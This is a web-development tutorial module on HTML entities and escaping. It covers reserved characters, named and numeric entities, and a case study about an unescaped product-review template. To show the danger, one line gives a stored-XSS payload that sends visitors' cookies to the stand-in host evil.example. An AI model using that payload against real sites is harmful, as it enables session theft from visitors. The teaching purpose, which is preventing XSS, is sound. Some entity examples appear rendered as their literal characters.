HTML Entities & Special Characters
Why some characters need to be escaped, the entities you will actually use, and the bugs that happen when you forget.
Why Some Characters Cannot Just Appear in Text Content
HTML has a small set of characters that carry special meaning to the parser itself — they are not ordinary text, they are syntax. The moment the parser encounters one of these characters inside what you intended as plain text content, it stops treating that text as text and starts trying to interpret it as markup instead. This module is about exactly which characters those are, the safe replacement syntax (called an entity) for writing them literally, and — just as importantly — when you genuinely do not need an entity at all.
<p>Use the < operator to compare two numbers.</p>To a human reader, that sentence is obviously plain English. To the HTML parser, the moment it hits < it assumes a new tag is starting — because that is, structurally, exactly what < means everywhere else in an HTML document. What actually renders is either broken text, a silently swallowed fragment of your sentence, or — in the worst case — a real security vulnerability, covered fully in Part 04.
The three characters that are genuinely dangerous to leave unescaped
Of the handful of characters HTML treats specially, three matter enough that you should basically never write them raw inside text content: <, >, and &. Each has a distinct reason.
< starts a tag. "5 < 10" inside text content risks being parsed as the beginning of "<10"
> closes a tag. Less dangerous alone, but should be escaped for consistency and safety
& starts an entity reference. "Smith & Sons" risks being parsed as the start of "&Sons" — an
incomplete/invalid entity, which browsers handle inconsistently& not followed by anything that looks like an entity name will often render fine in every major browser today — but "often works by accident" is a different thing from "correct," and relying on parser leniency is exactly the kind of thing that breaks unpredictably across browser versions, XML-based tooling, or RSS/Atom feed parsers that are far stricter than a browser's HTML parser.The Named Entities You Will Actually Use
An HTML entity is a small piece of reserved syntax — starting with & and ending with ; — that the parser replaces with a specific character when rendering, rather than interpreting the surrounding text as markup. Named entities use a human-readable name between those two symbols.
&name;& → & (ampersand)
< → < (less than)
> → > (greater than)
" → " (double quote)
' → ' (apostrophe / single quote)These five cover the actual syntax-significant characters. " and ' matter specifically inside attribute values — if an attribute is quoted with double quotes, a literal double quote inside that value would prematurely end the attribute, exactly the same class of problem as an unescaped < in text content.
<!-- Broken — the attribute value ends at the first unescaped double quote -->
<img alt="A 6" tall sculpture" src="sculpture.jpg">
<!-- Correct -->
<img alt="A 6" tall sculpture" src="sculpture.jpg">
<!-- Also correct, and often cleaner — just switch the outer quote style -->
<img alt='A 6" tall sculpture' src="sculpture.jpg">Common typographic and symbol entities
Beyond the five syntax-critical entities, a set of named entities exist purely as convenient, readable shorthand for characters that are perfectly valid to type directly as raw Unicode (covered fully in Part 03) but that are historically easy to mistype or hard to enter on some keyboards.
→ (non-breaking space)
© → ©
® → ®
™ → ™
— → — (em dash)
– → – (en dash)
… → … (ellipsis)
« → «
» → »
€ → €
£ → £
¢ → ¢ deserves a special mention — it is not just a convenient way to type a space, it is a functionally different character. A normal space is a place the browser is allowed to break a line of text for wrapping; a non-breaking space forbids a line break at that exact point. This is the entity you reach for to keep something like 10<span> </span>MB visually glued together, or to stop a browser from wrapping "Mr." away from the name that follows it.
<!-- Without , "10" and "MB" could end up split across two lines -->
<p>Maximum file size: 10 MB</p>
<!-- Same idea for a number that shouldn't wrap away from its unit -->
<p>Ships in 3 – 5 business days.</p>Numeric Character References — The Fallback That Always Works
Named entities are convenient, but HTML does not have a named entity for every possible character — there is no &heartbeat; or a named entity for most emoji. Numeric character references solve this by referencing any Unicode character directly by its numeric code point, in either decimal or hexadecimal form.
© decimal — code point 169 → ©
© hexadecimal (note the x) — same code point, hex form → ©Every named entity has an equivalent numeric form, and every numeric form works everywhere a named entity does — the reverse is not true, since not every character has a name. This makes numeric references the genuinely universal fallback: if you know a character's Unicode code point, &#code; or &#xhex; will render it correctly regardless of whether a named entity exists for it.
❤ ❤ (heavy black heart — no named entity)
😀 😀 (grinning face emoji — no named entity)
↑ ↑ (upwards arrow)© as "the numeric form of an entity, not a typo," is the practically useful part.What Breaks, Concretely, When You Forget to Escape
It is worth seeing the actual failure modes rather than taking "you must escape these characters" on faith. Three distinct things go wrong, at three different levels of severity.
1. Visually broken or missing text
<p>Now $50, was <$80.</p>
<!-- The browser sees "<$80" and, seeing "<" is not followed by a valid tag name character
pattern it recognizes, typically falls back to treating it as literal text in modern
browsers -- but this behavior is NOT guaranteed and varies by exact context and parser,
which is precisely the problem: it "usually" works, until it doesn't. --><p>Compare using the <select> operator from the dropdown.</p>
<!-- The parser sees "<select>" and creates an ACTUAL <select> form control element
right there in the paragraph -- not text saying the word "select" in angle brackets.
The sentence's meaning is destroyed, and a stray empty dropdown appears on the page. --><p>Compare using the <select> operator from the dropdown.</p>2. Broken attribute values
Covered in Part 02 — an unescaped quote character matching the attribute's own quote style terminates the attribute early, and everything after it is parsed as if it were a new, unintended attribute or raw markup.
3. Cross-Site Scripting (XSS) — the security-critical case
This is the failure mode that matters most in real production code, and it is why this topic is not merely a formatting nitpick. If your page ever inserts user-supplied text into the DOM without escaping it, a user can submit text containing actual HTML — including a <script> tag — and have it execute as real code in every other visitor's browser.
<!-- If "userComment" comes straight from a database with no escaping applied,
and a user submitted this as their comment text: -->
<script>document.location = "https://evil.example/steal?cookie=" + document.cookie</script>
<!-- ...then rendering it directly into the page runs that script for every visitor
who views the comment. This is a textbook stored XSS vulnerability. -->
<div class="comment">${userComment}</div>dangerouslySetInnerHTML, to opt back into raw unescaped HTML, and that name is deliberately alarming for a reason. Server-rendered templating languages (Jinja2, ERB, Django templates) work the same way: text is escaped unless you explicitly mark it as safe. Manually escaping every character yourself is rarely how this is handled in real production code — but understanding exactly what the framework is protecting you from is what makes you trust that default, rather than fighting it.When You Can Just Type the Character Directly
Given everything above, it is a common overcorrection to assume every non-ASCII or special character needs an entity. That is not true, and it produces markup that is harder to read and harder to search for no real benefit. The dividing line is simple: entities exist to handle characters that are syntactically significant to the parser, or that are hard to type/see (like ). Ordinary Unicode text — accented letters, curly quotes, em dashes, most punctuation, emoji — is completely safe to type directly, provided your document correctly declares <meta charset="UTF-8">, which you met in the Metadata & SEO module.
<p>Café Résumé — naïve piñata. 😀 “Curly quotes” work fine too.</p>
<!-- Equivalent using entities — technically valid, but needlessly harder to read and edit -->
<p>Café Résumé — naïve piñata. 😀
“Curly quotes” work fine too.</p>The first version is genuinely the better real-world choice — readable in source, easy to search-and-replace, and trivially editable by a non-technical content editor. The second version is not "more correct" — it is simply less legible for no functional gain, given a properly declared UTF-8 charset.
The one caveat: characters that are ALSO syntactically significant
The rule flips for the small set of characters covered in Parts 01–02: <, >, &, and quote characters inside attribute values. These are not a Unicode-encoding problem — UTF-8 handles them fine — they are a parsing problem, because the character itself collides with HTML's own syntax. UTF-8 support does not change that < still means "a tag is starting" to the parser. Those specific characters need entities (or numeric references) regardless of how correctly your document declares its encoding.
<, >, and & in text content, and escape whichever quote character matches your attribute's quote style inside attribute values. Everything else — accented letters, symbols, emoji, typographic punctuation — is safe to type directly as long as the document declares UTF-8.A Product Review Feature at a Portland Outdoor Gear Retailer
A Portland-based outdoor gear retailer ships a customer reviews feature for product pages. An engineer builds the server-rendered template quickly, pulling review text straight out of the database and inserting it into the page.
<div class="review-text">
${review.rawBodyText}
</div>The first sign something is wrong
QA files a bug: a review that mentions "the straps are <2 inches wide, which chafes" is rendering with the entire rest of the sentence missing from that point on. The < in "<2 inches" is being parsed as the start of a tag, and everything after it is silently swallowed or misrendered depending on the browser. This alone is treated as a straightforward escaping bug and scheduled as low-priority polish.
What the security review actually finds
During a routine security review ahead of a compliance audit, an engineer flags the same underlying issue as something far more serious: because review text is inserted directly without escaping, nothing stops a submitted review from containing a real <script> tag. A proof-of-concept review containing a script tag that silently POSTs the visiting user's session cookie to an external URL is submitted in a staging environment — and it runs, for every visitor who views that product page.
<!-- Server-side templating engines like Jinja2 and Django templates auto-escape by default.
The actual bug here was a raw/unescaped output filter being used explicitly: -->
<!-- BROKEN — explicitly opted OUT of the template engine's default escaping -->
<div class="review-text">{{ review.body | safe }}</div>
<!-- FIXED — let the template engine's default auto-escaping do its job -->
<div class="review-text">{{ review.body }}</div>The fix itself is almost trivially small — removing a filter that had explicitly disabled the template engine's default escaping, likely added months earlier to "fix" the exact visual truncation bug QA had originally filed, without understanding why the truncation was happening in the first place. The real lesson the team takes away: a visual escaping bug and a security vulnerability are very often the exact same root cause wearing two different severities, and "make the visual glitch go away" is never an acceptable fix on its own without understanding why raw markup was reaching the page.
Four Misconceptions About Entities and Escaping
5 Interview Questions — With Complete Answers
Escaping Mistakes Beginners Make Constantly
Mistake: writing a raw ampersand in a company name or "A & B" phrase
<p>Smith & Sons Hardware</p><p>Smith & Sons Hardware</p>Mistake: a literal quote character inside a same-quoted attribute value
<a title="Click "here" to continue">Continue</a><a title="Click "here" to continue">Continue</a>
<a title='Click "here" to continue'>Continue</a>Mistake: showing a "less than" comparison in plain text
<p>Only accept values < 100.</p><p>Only accept values < 100.</p>Mistake: over-escaping ordinary Unicode text that needed no escaping at all
<p>Café — 5 stéles</p><p>Café — 5 stéles</p>Mistake: inserting user-generated content into the page without escaping it
<div class="comment">{{ userComment | safe }}</div><div class="comment">{{ userComment }}</div>Bugs This Topic Produces — And Exactly Why
🎯 Key Takeaways
- ✓<, >, and & are syntactically significant to the HTML parser and should always be escaped in text content — as <, >, and & respectively.
- ✓Quote characters inside attribute values need escaping (" or ') whenever they match the attribute's own quote style, or the attribute value ends early.
- ✓Named entities (©, , —, etc.) are convenient shorthand; numeric character references (© or ©) are the universal fallback that works for any Unicode code point, including characters with no named entity.
- ✓ is not just a convenient space — it is a functionally different, non-breaking character used to prevent an unwanted line-wrap between two pieces of text.
- ✓Ordinary Unicode text (accented letters, curly quotes, emoji, most punctuation) is safe to type directly given a correctly declared UTF-8 charset — entities are not a general requirement for non-ASCII characters.
- ✓Failing to escape user-generated content before rendering it is a genuine security vulnerability (stored XSS), not merely a cosmetic bug — this is why React, Django templates, and most modern frameworks escape dynamic content by default.
- ✓Browsers are unusually lenient about unescaped special characters, which hides bugs that stricter parsers (XML, RSS/Atom feed readers) will not tolerate.
What comes next
Module 15 covers HTML best practices and validation — the W3C Markup Validator, void elements, attribute quoting conventions, and the specific mistakes the validator catches that a browser silently forgives.
Module 15 → HTML Best Practices & ValidationDiscussion
0Have a better approach? Found something outdated? Share it — your knowledge helps everyone learning here.